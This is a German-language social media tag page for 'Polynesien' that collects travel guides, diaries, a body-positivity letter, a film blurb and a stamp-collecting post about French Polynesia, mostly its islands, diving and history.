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#Polynesien
1weltreisender · 7 months
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Tahiti im Überblick: Fast Facts - ein Steckbrief
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Inhalt:Die fünf Archipele Die Gesellschaftsinseln – das Herz Französisch-Polynesiens Die Tuamoto-Inseln – das Wunderland für Taucher Marquesas-Inseln – Action pur Austral-Inseln – abseits der Pfade Die Gambier-Inseln – das traditionelle Polynesien Aktivitäten wie Tauchen, Segeln, Golf Tauchen Segeln Golf Surfing Wandern Unterkünfte Hotels und Resorts Kleine Hotels und Pensionen In tahitianischen Gästehäusern die Südsee-Kultur hautnah erleben Events Anreise Verstärkte Reinigungs- und Desinfektionsmaßnahmen Filtern der Kabinenluft: Auch interessant Französisch-Polynesien liegt etwa 17.000 Kilometer von Europa entfernt im Herzen der Südsee und besteht aus insgesamt 118 Inseln und Atollen. Diese erstrecken sich über ein Meeresgebiet von vier Millionen Quadratkilometern, was ungefähr der Fläche Westeuropas entspricht. Die Fläche aller Inseln und Atolle zusammengefügt wäre nicht viel größer als Mallorca. Die 118 Inseln verteilen sich auf fünf unterschiedliche Archipele: Gesellschaftsinseln, Tuamotu-Archipel, Marquesas-Inseln, Austral-Inseln, Gambier-Inseln. Die nördlichsten Inseln liegen auf etwa 5° südlicher Breite, die südlichsten auf etwa 23° südlicher Breite. Von diesem zu Frankreich gehörenden Überseeterritorium kennt man oft nur die legendären Inseln Tahiti (Archipel der Gesellschaftsinseln, Inseln über dem Wind) und Bora Bora (Inseln unter dem Wind). Doch jeder Archipel besitzt einen ganz eigenen Charakter bezüglich Geographischer Lage, Klima, Geologie, Wirtschaft und Kultur. Die Einwohner von Tahiti und ihren Inseln (245.405) bestehen zu 83 Prozent aus Polynesiern, zu 12 Prozent aus Europäern (meistens Franzosen) und zu fünf Prozent aus Chinesen, die gegen Endes des 19. Jahrhundert einwanderten. 75 Prozent der Bevölkerung wohnt auf den Inseln Tahiti und Moorea. In der Haupstadt Papeete und dessen Einzugsbereich leben allein 127.600 Einwohner. Französisch und Tahitianisch sind die beiden offiziellen Sprachen in Französisch Polynesien. In Gegenden, die von Touristen besucht werden, wird häufig Englisch gesprochen.
Die fünf Archipele
Die Gesellschaftsinseln – das Herz Französisch-Polynesiens Von der Hauptinsel des Landes, Tahiti, über ihre charmante Schwesterinsel Moorea bis hin zum paradiesischen Bora Bora – die Gesellschaftsinseln versprechen nicht nur Idylle und Romantik pur, sondern bieten auch abwechslungsreiche Über- und Unterwasseraktivitäten. In den Städten der Gesellschaftsinseln können Besucher über belebte Märkte schlendern, die tahtitianische Kultur und traditionelle Feste hautnah erfahren sowie in hervorragenden Restaurants köstlich dinieren. Im Inneren der Inseln können Abenteurer durch die nahezu unberührte Flora und Fauna wandern, die Natur mit dem Fahrrad erkunden oder auf dem Rücken eines Pferdes genießen. Abends dürfen sich Besucher dann bei einem traumhaften Sonnenuntergang zurücklehnen und bei tahitianischem Tanz in den Hotels entspannen. Auf den Gesellschaftsinseln kommt jeder Geschmack auf seine Kosten – ein wahres Allrounder-Archipel. Zur Inselfamilie gehören neben Tahiti, Moorea und Bora Bora auch noch die Inseln Tetiaroa, Huahine, Raiatea, Taha’a, Tupai und Maupiti.
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Foto: tim-mckenna.com Die Gesellschaftsinseln bestehen aus insgesamt 13 gebirgigen Vulkaninseln - den windzugewandten östlichen und den windabgewandten westlichen Inseln - die im Schutz vorgelagerter Korallenriffe liegen. Tahiti ist die größte und bedeutendste aller polynesischen Inseln mit ihrer Hauptstadt Papeete, die zugleich Verwaltungssitz ist. Tahiti besteht aus zwei mächtigen Vulkanmassiven: das große, über 2000 m hohe, in Wolken gehüllte Gebirgsmassiv des Orohena im Zentrum von Tahiti Nui, und das kleinere mit dem 1300 m hohen Mairenui in der Mitte von Tahiti Iti. Die beiden durch die Landenge von Taravao verbundenen Halbinseln erinnern an einen smaragdgrünen Kometen im türkisfarbenen Hof ihrer schmalen Lagune. Finde Dein Hotel in Tahiti* Zum Archipel der Gesellschaftsinseln gehören außerdem das nur 17 km von Tahiti durch einen tiefen Meeresarm getrennte Moorea mit seinen hoch aufragenden Vulkangipfeln, die sich im ruhigen Wasser der Lagune widerspiegeln, sowie Huahine, eine zauberhafte, wilde, 175 Kilometer nordwestlich von Tahiti gelegene Insel, geheimnisvoll mit ihren noch sehr lebendigen Traditionen. Das in einer gemeinsamen Lagune liegende Inselpaar Raiatea und Taha'a, heilige Inseln mit fruchtbaren Tälern und einem herrlichen Wassersportgebiet. Die berühmte Insel Bora Bora, die sich über die fischreichen, unwirklich schönen Gewässer erhebt mit ihren kleinen Inseln und den von weißem Sand und Korallenbänken gesäumten Kokospalmenhainen. Und schließlich die ursprüngliche Insel Maupiti im Herzen ihrer jadefarbenen Lagune. Die Tuamoto-Inseln – das Wunderland für Taucher Die Tuamoto-Inseln bestehen aus 76 Atollen, verteilt über 1.497 Kilometer. Hier bedecken Kokospalmen die kleinen Inseln des Korallenriffs inmitten der kristallklaren Südsee. Die Lagunen und die Unterwasserwelt der Tuamotu-Inseln sind unübertroffen. Hier können Besucher Wale, Mantarochen, Delfine und Haie beobachten oder an sagenhaften Sandstränden spazieren gehen. Zwischen Rangiroa, Fakarava und Manihi bietet sich ein unverfälschter Blick in die Meereswelt. Der Tuamotu-Archipel ist das größte der polynesischen Archipele. Es liegt nordöstlich von Tahiti und erstreckt sich über ein Meeresgebiet von mehr als 20.000 Quadratkilometern. Zu den wichtigsten Atollen - das sind ringförmige Korallenriffe mit einer zentralen Lagune - zählen Rangiroa, Manihi, Tikehau und Fakarava. Der Archipel ist bekannt für seine phantastischen Tauchgründe und die Zucht der schwarzen Tahiti-Perle. Eine eigene Welt zwischen Himmel und Ozean bilden die Tuamotu-Inseln, eine Gruppe niedriger, durch einen Korallengürtel in ihrer Lagune eingeschlossener Inseln oder Atolle. Blau, weiß, grün sind die beherrschenden Farben des Archipels, schlichte, wie zwischen Himmel und Wellen schwebende Korallenringe.
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Wer solche Aussichten zu Weihnachten bevorzugt, kann nach Bora Bora fahren. Foto: St. Regis Bora Bora Kommt man näher, verwandelt sich die feenhafte Erscheinung in eine Explosion von Farben: die Lagune in mannigfaltigen Türkis-Schattierungen, die unter der schillernden Oberfläche des klaren, jadefarbenen Wassers liegenden Korallenteppiche in Lila und Malve, die gelben, roten, orangefarbenen, schwarzen und rosaroten Tupfer der Unterwassergärten und die silbernen Pfeile vorbeiflitzender Fische. Regen ist selten. Ein idealer Lebensraum für die Perlmuttmuschel, in der die Schwarze Tahiti-Perle wächst. Rangiroa, Tikehau, Manihi und Fakarava sind die am meisten besuchten Inseln. Marquesas-Inseln – Action pur Die Inselgruppe der Marquesas-Inseln besteht aus zwölf Inseln, von denen allerdings nur sechs besiedelt sind. Hier können sich Besucher vor actiongeladenen Erlebnissen kaum retten. Dazu trägt entscheidend bei: Die Natur auf den Marquesas-Inseln ist einzigartig. Umrahmt von steilen Klippen, schwarzen Sandstränden und umwerfenden Buchten befindet sich ein Regenwald, in der Abenteuerer nicht nur Relikte aus der Vergangenheit entdecken können, sondern auch Wildpferde, Ziegen und Loris in freier Wildbahn begegnen können. Entlang der endlosen Wanderpfade und Reitwege, die sich über die gesamten Inseln erstrecken, finden Entdecker Spuren traditioneller polynesischer Schnitz- und Handwerkskunst. Falls zwischendurch für eine kurze Abkühlung gesorgt werden soll: durch die geografische Isolation, insbesondere der Insel Nuku Hiva, treffen Taucher auf eine phänomenale Artenvielfalt. Der Archipel der Marquesas-Inseln liegt in Äquatornähe. Die Natur der Marquesas-Inseln ist geprägt von steil aufragenden Vulkanbergen, tiefen Schluchten und von schroffen Felswänden. Die wilde Landschaft dieser Inseln, auf denen Pferde und Ziegen frei leben, gehört zu den unvergleichlichen Schätzen Polynesiens. Auch der Maler Paul Gauguin und der Chansonier Jacques Brel haben sich in die Inseln verliebt. Zu den wichtigsten Inseln zählen Nuku Hiva, Ua Pou, Ua Huka und Hiva Oa. Der Archipel der Marquesas oder auch "Land der Männer" (auf polynesisch "Enua Enata"), ist eine Gruppe von Gebirgsinseln, die wie dunkelgrüne Trutzburgen aus dem großen indigoblauen Ozean aufragen. In unmittelbarer Nähe des Äquators und 1500 km von Tahiti enfernt sind von den zwölf der Marquesas-Inseln nur sechs bewohnt. Das Haupttransportmittel ist das Schiff. Da die Marquesas nicht von Lagunen umgeben sind, verfügen sie nur über wenige aber umso kostbarere Sandstrände. Ziegen, Schweine, Schafe und Pferde bewegen sich frei in den großartigen Landschaften. Austral-Inseln – abseits der Pfade Der Archipel der Austral-Inseln besteht aus sieben Inseln, wovon fünf bewohnt sind: Rurutu, Tubuai, Rimatara, Raivavae und Rapa. Sie liegen mehr als 600 Kilometer von Tahiti entfernt und befinden sich daher wahrlich abseits ausgetretener Pfade. Berühmt sind die Austral-Inseln vor allem für ihre Landwirtschaft. Aber neben den atemberaubenden Landschaften beheimaten die Klippen und Höhlen auch uralte Legenden und unbekannte archäologische Funde. Auch sehenswert: Vor Rurutu tauchen jedes Jahr Buckelwale auf. Von August bis Oktober treffen sie sich zur Paarung und Geburt ihrer Kälber und lassen sich exzellent beim Getummel im seichten Wasser beobachten. Die Insellandschaft ist geprägt von sanften Bergformen, die im Durchschnitt kaum höher sind als 300 Meter. Am Wendekreis des Steinbocks gelegen bilden sie den südlichsten Teil von Französisch Polynesien.
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Am Heiligabend bietet das St. Regis Bora Bora Resort die Möglichkeit, im Te Pahu oder im Lagoon by Jean-Gerges Restaurant ein Festtagsmenü mit internationalen Spezialitäten zu genießen. / Foto: St. Regis Bora Bora Die Austral-Inseln sind die letzte Bastion bewohnter Erde im Südpazifik und liegen außerhalb der klassischen Fremdenverkehrsrouten. Die ehemaligen Vulkane sind sanfter geschwungen und weniger hoch - ausgenommen Rapa - als die der anderen Archipele. Ihre "Marae", alte Kultstätten, ihre großen, Jahrhunderte alten steinernen Tiki-Figuren und die noch erhaltenen Mauern der "pa", militärischen Festungen, haben noch nicht alle ihrer Geheimnisse freigegeben. Ihr Klima, das kühler und trockener ist als auch Tahiti und in dem zugleich Pflanzen tropischer und gemäßigter Zonen wachsen, eignet sich besonders für den Gemüseanbau, welcher zusammen mit dem Kunsthandwerk die hauptsächliche Einnahmequelle der Bewohner ist. Die Austral-Inseln sind außerdem ein Treffpunkt für Wale, die man dort jährlich zwischen Ende Juli und Oktober beobachten kann. Die Gambier-Inseln – das traditionelle Polynesien Mehr als 1.600 Kilometer von Tahiti befinden sich die einsamen Gambier-Inseln. Hier treffen natürliche Schönheit, jahrtausende alte Geschichte, religiöses Erbe und französisch-polynesische Tradition aufeinander. Auch wenn einst vom Katholizismus geprägt, kehrten die Einwohner der Gambier-Inseln zu einem eher traditionellen, polynesischen Lebensstil zurück. Auf der Insel, Manareva, können Gäste faszinierende Bauten aus vergangenen Zeiten bestaunen und die Perlenzucht bewundern. Der perfekte Ort, um eine authentische Südseeerfahrung zu machen und die Inseln von Tahiti von einer anderen Seite zu erleben. Der Archipel der Gambier-Inseln liegt unmittelbar nördlich vom Wendekreis des Steinbocks. Er besteht aus 14 kleinen, gebirgigen Inseln. Die Landschaft ist geprägt von ausgewaschenen Bergflanken und weitgeschwungenen Buchten. Die Lage weit im Süden führt zu einem kühleren Klima als auf Tahiti. Die Lagunengewässer der Gambier-Inseln stehen im Ruf, die hochwertigsten schwarzen Perlen hervorzubringen. Der Archipel der Gambier-Inseln mit der Berginsel Mangareva und ihrem Gürtel kleiner Inseln, den Überrresten der eingebrochenen Steilhänge des ehemaligen Kraters, liegt im äußersten Osten des polynesischen Territoriums. Besucher sind dort selten, dafür florieren die Perlmuttkultur und die großen Perlenfarmen. Das kannst Du in Tahiti erleben*
Aktivitäten wie Tauchen, Segeln, Golf, Surfen
An erster Stelle der vielfältigen Aktivitätenliste steht natürlich das Tauchen. Die weltweit einzigartigen Großfisch Reviere der Tuamotu Inseln Rangiroa, Fakarava, Manihi und Tikehau begeistern selbst welt- und weitgereiste Sporttaucher. Aber auch Wandern durch das Inselinnere - für eine einzigartige Aussicht und Kontakt zu den freundlichen Tahitianern – beflügelt mit neuen Eindrücken. Lassen Sie sich über die schönsten Lagunen der Welt schippern und picknicken Sie auf einer Robinsoninsel. Oder setzen Sie die Segel - entweder selbst oder von einer Crew. Den Golfschläger können Sie auf dem 2004 fertiggestellten The Jack Nicklaus Design Platz auf Moorea und auf dem Olivier Breaud Platz Tahiti einsetzen. Surfer eröffnen die Wellen ein Paradies auf Erden – nicht umsonst finden hier zahlreiche Surfwettbewerbe, unter anderem das Billabong Pro Surfing statt. Tauchen Die Südsee mit ihren seichten Lagunen, großartigen Riffen und den farbenprächtigen Korallen ist für ihre außergewöhnlich schönen Tauchreviere und die vielseitige Meeresfauna bekannt. Flaches Wasser, warme Temperaturen und mehr als 30 Meter Tiefensicht machen die Inselwelt Tahitis zu einem der besten Tauchreviere weltweit. Die Auswahl an unterschiedlichen, kaum überlaufenen Plätzen ist groß: Tauchgänge sind das ganze Jahr über in Lagunen, an Riffkanten und in den tieferen Fahrrinnen möglich. Bunte Schmetterlings- und Napoleonfische, Mantarochen, Riffhaie, Barrakudas, Wale und viele weitere Meerestiere bieten Tauchern ein einzigartiges Erlebnis. In den rund 40 Tauchzentren auf 13 Inseln finden Sie professionelle Betreuung. Die Sicherheitsstandards sind sehr hoch und die Ausrüstungen unterliegen ständigen Kontrollen. Die Ausrüstung wird meist gestellt und braucht nicht mitgebracht zu werden.
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Bildquelle: Depositphotos Viele Tauchzentren bieten Kurse an. Eines der renommiertesten Tauchreviere der Welt ist Rangiroa (Tuamotu-Archipel), das größte Atoll Polynesiens und das viert Größte der Welt. 240 Motus (kleine Inseln) bilden ein ringförmiges Korallenriff mit mehreren Passagen. Manihi, Tikehau und Fakarava reihen sich als außergewöhnliche Tauchreviere mit ein. Der Fischreichtum und die beeindruckende Vielfalt der Meeresflora und -fauna in der Lagune und am Außenriff bieten Anfängern als auch erfahrenen Tauchern ideale Bedingungen und unvergessliche Erlebnisse. Eine ganz andere Taucherfahrung bietet sich auf den Marquesas Inseln, zum Beispiel an den felsigen Küsten von Nuku Hiva mit zahlreichen Höhlen und Grotten. Ohne schützendes Korallenriff ist hier die Tiefseefauna besonders ausgeprägt. Der Melonenkopf, eine mit dem Zwergwal verwandte Delfinart, Hammerhaie, Silberspitzen- und Krokodilhaie sowie Mantarochen, Marmorrochen und riesige Langusten haben hier ihren Lebensraum. Bei Rurutu (Austral-Inseln) sind von Juli bis Oktober Buckelwale anzutreffen, die hier ihre Jungen zur Welt bringen. In der Bucht von Moerai bietet sich die seltene Gelegenheit, mit den riesigen Meeressäugern zu schwimmen. Segeln Eine wunderbare Art des Reisens in einem Revier von traumhaften Inseln mit Buchten die an Schönheit kaum übertroffen werden können, ist nach wie vor das Segeln. Kann man einen Tag in Französisch Polynesien schöner verbringen als an Bord einer Yacht aufzuwachen, noch vor dem Frühstück eine Runde vor atemberaubender Kulisse schwimmen zu gehen und im Laufe des Tages zur nächsten Insel zu segeln? Marinas befinden sich auf Tahiti, Moorea, Tahaa und vor allem der Segel-Hauptinsel Raiatea. Charterfirmen stellen Katamarane und Monohull-Segelboote zur Verfügung, auf Wunsch auch mit Skipper und Hostess. Die Navigation in den Lagunen und zwischen den Inseln ist meist einfach, dank der von Ost nach West wehenden Passatwinde. Von Juli bis September kann der Maaramu (Südostwind) eine Stärke von 6 bis 7 (25 bis 30 Knoten) erreichen. Der Nordwind Toerau kann von Dezember bis Februar zwischen 20 und 30 Knoten erreichen. Eine Herausforderung ist das Segeln durch die Passagen – die Übergänge vom offenen Meer zu den geschützten Lagunen. Die Kombination aus seichten Gewässern und hohem Seegang erfordert Erfahrung und Konzentration. Kenntnisse von Seezeichen sind zudem unerlässlich. Die meisten Inseln im Archipel der Gesellschaftsinseln bieten tiefe, geschützte Buchten. Die Außenriffe besitzen auf Lagunenseite oft ausgedehnte, seichte Flächen mit weißem Sandboden, übersät mit Korallenriffen. Das macht sie zu paradiesischen Ankerplätzen. Read the full article
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friedrunawaystudent · 2 years
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omgangelfly2 · 5 months
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Eine Frau antwortete auf eine Werbekampagnie
eines Fitnessstudios, mit dem Slogan:
„Wollen sie diesen Sommer wie eine Meerjungfrau oder wie ein Wal aussehen“ wie folgt:
„Sehr geehrte Leute, Wale sind immer von Freunden umgeben (Delfine, Robben, neugierige Menschen), sie sind sexuell aktiv und ziehen ihre Kinder mit großer Sorgfalt auf.
Sie spielen wie verrückt mit Delfinen und essen viele Garnelen.
Sie schwimmen den ganzen Tag und reisen zu phantastischen Orten wie Patagonien, Barentssee oder den Korallen Riffen von Polynesien.
Sie singen unglaublich gut und sind manchmal sogar auf CDs zu hören.
Sie sind beeindruckende sehr geliebte Tiere, die jeder verehrt und versucht zu schützen.
Meerjungfrauen gibt es nicht. Wenn sie allerdings existieren würden, würden sie Psychologen konsultieren, wegen des Problems der Persönlichkeitsspaltung - "Frau oder Fisch?"
Sie hätten auch keine sexuelle Aktivität und könnten keine Kinder bekommen.
Natürlich, sie wären schon hübsch anzusehen aber einsam.
Außerdem, wer möchte schon eine Frau, die nach Fisch riecht?
Deshalb möchte ich zweifelsohne lieber ein Wal sein !
Und wenn uns die Medien permanent vorkauen, das nur „dünn“ schön sein soll, esse ich lieber Eiscreme mit meinen Kindern, Abendessen mit meinem Mann und genieße das Leben mit all meinen Freunden.
Wir Frauen sind nicht fett sondern toll geformt!“
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2023suedsee · 8 months
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7. September abends gegen 17 Uhr Tahiti-time. Bald reise ich aus französisch Polynesien weg. Schaaaade, aber nichts dauert ewig...........Nun folgt ein Hüpfer über die Datumsgrenze hinweg über Auckland nach Tonga, wo ich am Samstag Abend gegen 21 Uhr Tonga-time eintreffen werde. Dann bin ich nicht mehr 12 Stunden hinterlig sondern 11 Stunden VOR euch........hihihi.......was nicht viel ändert........für mich ämml..........Ich werde also heute Nacht das Flugi besteigen, morgen den ganzen Tag in Auckland herumhängen und dann flupps bin ich in Tonga. Dort ist dann der SOnntag heilgstens, weswegen ich dort hängen bleiben werde. Ich werde gucken, dass ich einen Gottesdienst besuchen kann, soll total toll sein. Zudem werde ich versuchen die "leere" Zeit zu nützen weitere Fotos hochzuladen.............Also bis am WOchenende........ hasta...... ach ja auf Tonga gibts dann nomol Swimming mit Walen......... juppiduuuuuu...........
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answer-gov · 1 year
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Hatzgang HCS:p
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Ross
Black + native American
15 years old
Trans-bisexual
Band/color guard kid
Piccolo player
Robert
Black+Polynesien
14 years old
Non-binary gay
Band kid
Percussion/tenor sax player
Roy
Mexican+ White
13 years old
Trans-pansexual
Makes fun of band kids daily
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tomasi-suluape · 1 year
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goeastendwest · 1 year
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Tahiti
Unsere zweieinhalb-Wochen Rundreise in französisch Polynesien beginnt auf Tahiti, der größten der insgesamt 118 Inseln (nur 67 davon sind bewohnt). Obwohl Tahiti nur eine Länge von ca. 60km hat, haben wir es geschafft mit dem Mietwagen in drei Tagen 352 km zurück zu legen, denn es gibt viel zu sehen auf der sehr bergigen Insel.
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pazifik-querung · 1 year
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@Atuona, Hiva Oa, Französisch-Polynesien:
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Ich sitze schon früh um 07h00 in der Observation Lounge auf Deck 10 und ein anderer Gast badet im Whirlpool, um die Ankunft in Hiva Oa live mitzuerleben. Am Horizont ist schon die Insel im Morgenlicht erkennbar. Das Schiff wird um 10h00 auf Reede sein. Von dort geht’s dann mit dem Tender an Land und per Shuttle in die Ortschaft Atuona. Welcher berühmte Maler ist dort begraben? Paul Gauguin ist mit seinen Bildern mit Motiven aus der Südsee als Maler einer verklärten exotischen Welt in die Kunstgeschichte eingegangen. Im Alter von nur 54 Jahren starb er am 8. Mai 1903 vereinsamt und mittellos auf Hiva Oa.
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Oben auf diesem Hang im Vordergrund liegt der katholische Friedhof, wo Paul Gauguin und Jacques Brel begraben sind. Leider können wir wegen der starken Brandung nicht an Land gehen. Die Landung mit dem Tender wäre zu riskant. Safety first! Jetzt werden wir bis Mittag hier vor Anker liegen und anschliessend um die Insel kreuzen.
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Cap Matafenua, 363 m.ü.M.
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… und mit diesem Sonnenuntergang geht der a.o. Seetag zu Ende …
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The Club: It is our favorite spot for pre-dinner drinks.
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movienized-com · 3 months
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Me he hecho viral (2023)
Me he hecho viral (2023) #JorgeCoira #BlancaSuarez #NicolasFurtado #EnricAuquer #MiguelRellan #CristinaGallego Mehr auf:
I have gone viralJahr: 2023 (Oktober) Genre: Comedy Regie: Jorge Coira Hauptrollen: Blanca Suárez, Nicolás Furtado, Enric Auquer, Miguel Rellán, Cristina Gallego, Esperanza Guardado, Javier Cifrián, Jaime Rodrigo, Raquel Martínez … Filmbeschreibung: Mabel wurde viral. Und zwar auf die schlimmstmögliche Weise. Während eines Fluges nach Polynesien entsperrt sie das Mobiltelefon ihres Ehemannes…
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kunstplaza · 6 months
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motopolyn · 7 months
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Malolo Island
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31. Oktober - Wir geniessen das gemütliche Inselleben, die Leute sind sehr freundlich, das Wetter ist warm, aber weniger feucht als in Singapur
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Wir schwimmen und löschen den Durst an der Strandbar
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Am Abend sieht man von der Terrasse aus den Sonnenuntergang
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Vieles erinnert uns an französisch Polynesien vor zwei Jahren
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Einfach gerade richtig um den Jetlag zu überwinden – was uns bis jetzt immer noch nicht ganz gelungen ist
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spela-melodier · 10 months
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How Far I'll Go - Moana
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"Moana", eller på svenska "Vaiana", är en film om en flicka som växer upp på en tropisk ö i Polynesien. Hon är dotter till hövdingen och ska växa upp till att ta över den rollen - men själv längtar hon så innerligt efter att få segla ut över det öppna havet.
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hwpsammler · 1 year
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Historische Wertpapiere auf Briefmarken (5)
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Französisch-Polynesien ist ein französisches Überseegebiet, das aus 121 Inseln und Atollen besteht, die sich über mehr als 5,3 Millionen Quadratkilometer in der Mitte des Südpazifik verteilen, etwa 6.000 Kilometer östlich von Australien und 7.500 Kilometer westlich von Chile. Die dort ausgegebenen Briefmarken sind bei Sammlern sehr bekannt, da sie üblicherweise sehr farbenfroh sind und eine große Vielfalt an verschiedenen Themen abdecken.
In den Jahren 2013 und 2020 wurden jeweils zwei Briefmarken zum Thema „Actions anciennes" (Alte Aktien) herausgegeben. Die obige Abbildung zeigt einen Ersttagsbrief, herausgegeben am 6. November 2013, in der Hauptstadt des Territoriums, Papeete auf der Insel Tahiti, mit einem Aktienzertifikat der Compagnie Française de Tahiti. Das Philatelic Centre of French Polynesia (www.tahitiphilatelie.pf) stellt die folgenden (bearbeiteten) Informationen hierzu zur Verfügung, die sogar einen Hinweis auf das Sammeln historischer Wertpapiere enthalten!:
„Das ab 1830 gegründete zweite französische Kolonialreich erreichte zwischen den beiden Kriegen seinen Höhepunkt. Von 1919 bis 1939 umfasste es mehr als 13 Millionen Quadratkilometer und 65 Millionen Einwohner.
In diesen Jahren ließen sich Unternehmen aller Art in Französisch-Ozeanien (1958 in Französisch-Polynesien umbenannt) mit Hauptsitzen nieder, die sowohl in Paris als auch auf Tahiti errichtet werden konnten.
Ein Beispiel ist die Compagnie Française de Tahiti, die 1913 zur Ausbeutung der Atolle von Scilly und Tupai gegründet wurde. Jedes Unternehmen zeigte Originalität in der Gestaltung seiner Aktienzertifikate. Die meisten haben ihren Besitzern keinen Reichtum gebracht, aber einige werden heute als Kunstwerke betrachtet und als solche gesammelt, genau wie Briefmarken.“
Ursprünglich mit einem Kapital von 300.000 Francs gegründet, stammt das abgebildete Aktienzertifikat aus dem Jahr 1929, als das Kapital im Rahmen einer Übernahme/Fusion mit der Société Agricole de Mopélia (Tahiti) auf 10,5 Millionen Francs erhöht wurde. Ein Aktienzertifikat dieser zweiten Gesellschaft ist auf einer Briefmarke aus dem Jahr 2020 abgebildet.
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Die Société Agricole de Mopélia (Tahiti) wurde 1922 als Tochterunternehmen der Comptoirs Français d'Océanie gegründet. Zweck des Unternehmens war die Gewinnung von Kokosöl auf den Inseln Scilly, Mopelia und Bellinghausen.
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Nach der Übernahme bestand die Compagnie Française de Tahiti das ganze 20. Jahrhundert hindurch weiter. Im Jahrbuch der Pazifikinseln von 1994 heißt es, dass Scilly, Mopelia und Bellinghausen „bis 1999 an die Compagnie Française de Tahiti verpachtet und mit Kokosnüssen bepflanzt wurden. Kopraschneider besuchen sie regelmäßig; andernfalls sind sie unbewohnt.“
Ein Artikel aus dem Jahr 1984 in der Zeitschrift Cruising World mit dem Titel „Mopelia – The Magic Atoll“ enthält die folgenden Informationen über das Kopraschneiden für die Compagnie Française de Tahiti (CFT):
„Am nächsten Morgen fuhren wir mit dem Schlauchboot an Land, um die Dorfbewohner zu treffen – alle 10! […] Wir haben erfahren, dass […] das Fleisch der reifen Kokosnuss von den Dorfbewohnern geerntet und getrocknet, dann verpackt und an Bord eines CFT-Handelsschiffs verschifft wird, das alle zwei Monate anlegt. Die Kopra wird an Verarbeitungsbetriebe in Tahiti oder Frankreich geliefert, wo sie zu Speiseöl, Seife und anderen Produkten verarbeitet wird. Wie wir erfuhren, variiert die Anzahl der Dorfbewohner in Mopelia, je nachdem, wie viele Polynesier sich verpflichtet haben, Kopra für die CFT zu schneiden.“
Eine Übersicht der bisher erschienenen Blog-Beiträge erhalten Sie durch Anklicken von “Archive” am Kopf dieser Seite.
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einereiseblog · 1 year
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Wenn es um tropische Paradiese und faszinierende Unterwasserwelten geht, kommt man kaum an Bora Bora vorbei. Diese traumhafte Insel im Südpazifik gehört zu Französisch-Polynesien und ist ein wahres Juwel für Taucher und Schnorchler aus aller Welt. Die türkisblauen Lagunen und die atemberaubende Meereslandschaft, die von farbenfrohen Korallengärten bis zu beeindruckenden Schiffswracks reicht, machen das Tauchen auf Bora Bora zu einem unvergesslichen Erlebnis. In diesem Artikel nehmen wir Sie mit auf eine Reise in die faszinierende Unterwasserwelt von Bora Bora und geben Ihnen wertvolle Tipps für Ihren nächsten Tauchurlaub. Die Magie des Tauchens auf Bora Bora Bora Bora ist weltweit bekannt für seine malerische Landschaft, die von einer türkisfarbenen Lagune, weißen Sandstränden und einer üppigen tropischen Vegetation geprägt ist. Doch die wahre Schönheit der Insel offenbart sich erst unter der Wasseroberfläche, wo Taucher eine unglaubliche Vielfalt an Meereslebewesen und beeindruckenden Korallenformationen entdecken können. Die intakten Korallenriffe rund um Bora Bora bieten Lebensraum für eine Fülle von Meeresbewohnern, darunter zahlreiche Fischarten wie Papageienfische, Riffhaie, Stachelrochen und Napoleonfische. In den Tiefen der Lagune trifft man zudem auf majestätische Meeresschildkröten und Delfine, die in den klaren Gewässern ihre Bahnen ziehen. Bora Bora ist außerdem bekannt für seine Schiffswracks, die aus dem Zweiten Weltkrieg stammen und heute als künstliche Riffe fungieren. Diese Wracks ziehen eine Vielzahl von Meereslebewesen an und bieten Tauchern faszinierende Einblicke in die Geschichte der Insel. Die besten Tauchplätze auf Bora Bora Die Insel verfügt über zahlreiche Tauchplätze, die sich sowohl für Anfänger als auch für erfahrene Taucher eignen. Einige der bekanntesten Tauchspots sind: Anau: Dieser Tauchplatz liegt an der Südostküste der Insel und ist bekannt für seine beeindruckenden Korallengärten und die Fülle an Meereslebewesen. Taucher können hier neben bunten Fischen auch Schwarzspitzen-Riffhaie, Graue Riffhaie und Stachelrochen beobachten. Tapu: Tapu ist ein Tauchspot, der sich westlich von Bora Bora befindet und bei vielen Tauchern aufgrund der dort vorkommenden Zitronenhaie besonders beliebt ist. Die Haie sind hier in der Regel sehr entspannt und lassen sich gut beobachten, was diesen Tauchplatz zu einem echten Highlight macht. Toopua: Dieser Tauchplatz liegt an der Westküste der Insel und ist für seine beeindruckende Unterwasserlandschaft bekannt. Die spektakulären Felsformationen und Höhlen ziehen zahlreiche Meeresbewohner an, darunter Barrakudas, Muränen und verschiedene Haiarten. Besonders für erfahrene Taucher ist Toopua ein faszinierendes Erlebnis. Muri Muri (White Valley): Muri Muri ist ein Tauchplatz im Norden von Bora Bora, der sich durch seine weißen Sandbänke und die zahlreichen Schwarzspitzen-Riffhaie auszeichnet. Die flachen Gewässer und das klare Wasser machen dieses Gebiet ideal für Taucher aller Erfahrungsstufen. Teavanui Pass: Der Teavanui Pass ist der einzige Zugang zur Lagune von Bora Bora und bietet Tauchern eine einzigartige Gelegenheit, die Dynamik von Gezeitenströmungen hautnah zu erleben. Bei Strömungstauchgängen können hier neben Grauen Riffhaien auch Adlerrochen, Barrakudas und Thunfische beobachtet werden. Tauchen auf Bora Bora: Tipps und Informationen Um das Tauchen auf Bora Bora in vollen Zügen genießen zu können, sollte man einige wichtige Informationen und Tipps beachten: Tauchbasen und -schulen: Auf Bora Bora gibt es mehrere Tauchbasen und -schulen, die Tauchgänge, Kurse und Schnorcheltouren anbieten. Achten Sie darauf, eine professionelle und erfahrene Tauchschule zu wählen, die sich an internationale Standards hält und Wert auf Sicherheit legt. Beste Reisezeit: Bora Bora kann das ganze Jahr über bereist werden, doch die beste Zeit zum Tauchen liegt zwischen April und November. In diesen Monaten herrschen die besten Sichtweiten und die Wassertemperaturen liegen bei angenehmen 26-29 Grad Celsius.
